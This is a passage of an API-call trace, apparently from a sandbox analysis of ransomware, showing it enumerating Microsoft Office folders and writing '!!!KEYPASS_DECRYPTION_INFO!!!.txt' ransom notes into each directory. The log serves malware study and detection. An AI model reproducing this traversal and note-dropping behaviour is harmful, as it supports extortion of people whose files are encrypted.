lpFindFileData=0x2e4ead4) returned 1 [0245.013] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\excelmui.msi.16_excelmui.mcxml") returned=".mcxml" [0245.013] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.013] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\groovemui.msi.16_groovemui.mcxml") returned=".mcxml" [0245.013] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.013] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\lyncmui.msi.16_lyncmui.mcxml") returned=".mcxml" [0245.013] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.013] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\office32mui.msi.16_office32mui.mcxml") returned=".mcxml" [0245.013] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.013] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemui.msi.16_AppXManifestLoc.mcxml") returned=".mcxml" [0245.013] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.013] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemui.msi.16_officemui.mcxml") returned=".mcxml" [0245.013] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.013] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemui.msi.16_PostCommon.Office.MUI.mcxml") returned=".mcxml" [0245.013] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.013] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemuiset.msi.16_officemuiset.mcxml") returned=".mcxml" [0245.013] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.013] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\onenotemui.msi.16_onenotemui.mcxml") returned=".mcxml" [0245.013] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.013] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\osmmui.msi.16_osmmui.mcxml") returned=".mcxml" [0245.013] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.013] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\osmuxmui.msi.16_osmuxmui.mcxml") returned=".mcxml" [0245.013] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.013] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\outlookmui.msi.16_outlookmui.mcxml") returned=".mcxml" [0245.013] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.013] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\powerpointmui.msi.16_powerpointmui.mcxml") returned=".mcxml" [0245.013] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.013] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\projectmui.msi.16_projectmui.mcxml") returned=".mcxml" [0245.013] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.013] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\Proof.Culture.msi.16_proof.mcxml") returned=".mcxml" [0245.013] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.013] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\proofing.msi.16_proofing.mcxml") returned=".mcxml" [0245.013] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.013] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\publishermui.msi.16_publishermui.mcxml") returned=".mcxml" [0245.014] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.014] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml") returned=".mcxml" [0245.014] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.014] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\wordmui.msi.16_wordmui.mcxml") returned=".mcxml" [0245.014] FindNextFileW (in: hFindFile=0x2e79b58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0245.014] FindNextFileW (in: hFindFile=0x2e79ad8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.014] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0245.014] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.014] GetLastError () returned 0x3f0 [0245.014] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.014] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\es-es\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f0 [0245.014] GetFileType (hFile=0x5f0) returned 0x1 [0245.014] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0245.015] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0245.015] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0245.015] WriteFile (in: hFile=0x5f0, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0245.015] WriteFile (in: hFile=0x5f0, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0245.016] CloseHandle (hObject=0x5f0) returned 1 [0245.016] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e79798 [0245.016] FindNextFileW (in: hFindFile=0x2e79798, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.016] FindNextFileW (in: hFindFile=0x2e79798, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.016] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.016] FindNextFileW (in: hFindFile=0x2e79798, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.016] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\Proof.Culture.msi.16_proof.mcxml") returned=".mcxml" [0245.016] FindNextFileW (in: hFindFile=0x2e79798, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0245.016] FindNextFileW (in: hFindFile=0x2e79ad8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.016] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0245.016] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.016] GetLastError () returned 0x3f0 [0245.016] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.016] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\fr-fr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f4 [0245.017] GetFileType (hFile=0x5f4) returned 0x1 [0245.017] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0245.017] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0245.017] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0245.017] WriteFile (in: hFile=0x5f4, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0245.018] WriteFile (in: hFile=0x5f4, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0245.018] CloseHandle (hObject=0x5f4) returned 1 [0245.018] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e79a58 [0245.018] FindNextFileW (in: hFindFile=0x2e79a58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.018] FindNextFileW (in: hFindFile=0x2e79a58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.018] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.019] FindNextFileW (in: hFindFile=0x2e79a58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.019] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\Proof.Culture.msi.16_proof.mcxml") returned=".mcxml" [0245.019] FindNextFileW (in: hFindFile=0x2e79a58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0245.019] FindNextFileW (in: hFindFile=0x2e79ad8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.019] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0245.019] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.019] GetLastError () returned 0x3f0 [0245.019] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.019] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5fc [0245.041] GetFileType (hFile=0x5fc) returned 0x1 [0245.041] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0245.041] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0245.041] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0245.041] WriteFile (in: hFile=0x5fc, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0245.042] WriteFile (in: hFile=0x5fc, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0245.042] CloseHandle (hObject=0x5fc) returned 1 [0245.042] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e797d8 [0245.042] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.045] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.045] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.045] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.045] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Access.x-none.msi.16_mondoww.mcxml") returned=".mcxml" [0245.045] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.045] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\AppLocalCRT.x-none.msi.16_AppLocalConditionalCRT.mcxml") returned=".mcxml" [0245.045] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.045] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\AppLocalCRT32.x-none.msi.16_AppLocalConditionalCRTCrossBitness.mcxml") returned=".mcxml" [0245.045] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.045] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\AppLocalUCRT.x-none.msi.16_AppLocalConditionalUCRT.mcxml") returned=".mcxml" [0245.045] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.045] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\AppLocalUCRT32.x-none.msi.16_AppLocalConditionalUCRTCrossBitness.mcxml") returned=".mcxml" [0245.045] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.045] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\DCF.x-none.msi.16_mondoww.mcxml") returned=".mcxml" [0245.045] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.045] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Excel.x-none.msi.16_mondoww.mcxml") returned=".mcxml" [0245.046] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Groove.x-none.msi.16_mondoww.mcxml") returned=".mcxml" [0245.046] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Lync.x-none.msi.16_mondoww.mcxml") returned=".mcxml" [0245.046] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_authored.mcxml") returned=".mcxml" [0245.046] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_Common.mcxml") returned=".mcxml" [0245.046] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_licensing.mcxml") returned=".mcxml" [0245.046] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_mondoww.mcxml") returned=".mcxml" [0245.046] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_postcommon.mcxml") returned=".mcxml" [0245.046] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_PostCommon.Office.x-none.mcxml") returned=".mcxml" [0245.046] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_crossbitness.mcxml") returned=".mcxml" [0245.046] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml") returned=".mcxml" [0245.046] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OneNote.x-none.msi.16_mondoww.mcxml") returned=".mcxml" [0245.046] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.047] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OneNote.x-none.msi.16_OneNote.mcxml") returned=".mcxml" [0245.047] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.047] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OSM.x-none.msi.16_mondoww.mcxml") returned=".mcxml" [0245.047] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.047] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OSMUX.x-none.msi.16_mondoww.mcxml") returned=".mcxml" [0245.047] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.047] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_mondoww.mcxml") returned=".mcxml" [0245.047] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.047] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_PostCommon.Outlook.x-none.mcxml") returned=".mcxml" [0245.047] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.047] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPivot.x-none.msi.16_mondoww.mcxml") returned=".mcxml" [0245.047] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.047] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPoint.x-none.msi.16_mondoww.mcxml") returned=".mcxml" [0245.047] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.047] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Project.x-none.msi.16_mondoww.mcxml") returned=".mcxml" [0245.047] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.047] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Publisher.x-none.msi.16_mondoww.mcxml") returned=".mcxml" [0245.047] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.047] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Visio.x-none.msi.16_mondoww.mcxml") returned=".mcxml" [0245.047] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.047] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Visio.x-none.msi.16_PostCommon.Visio.x-none.mcxml") returned=".mcxml" [0245.047] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.047] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Word.x-none.msi.16_mondoww.mcxml") returned=".mcxml" [0245.047] FindNextFileW (in: hFindFile=0x2e797d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0245.047] FindNextFileW (in: hFindFile=0x2e79ad8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0245.047] FindNextFileW (in: hFindFile=0x2e79098, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0245.047] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0245.048] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2f4e528 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.048] GetLastError () returned 0x3f0 [0245.048] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office15\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office15\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.048] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office15\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office15\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office15\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0245.048] GetFileType (hFile=0x5f8) returned 0x1 [0245.048] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0245.048] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0245.048] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0245.048] WriteFile (in: hFile=0x5f8, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0245.049] WriteFile (in: hFile=0x5f8, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0245.049] CloseHandle (hObject=0x5f8) returned 1 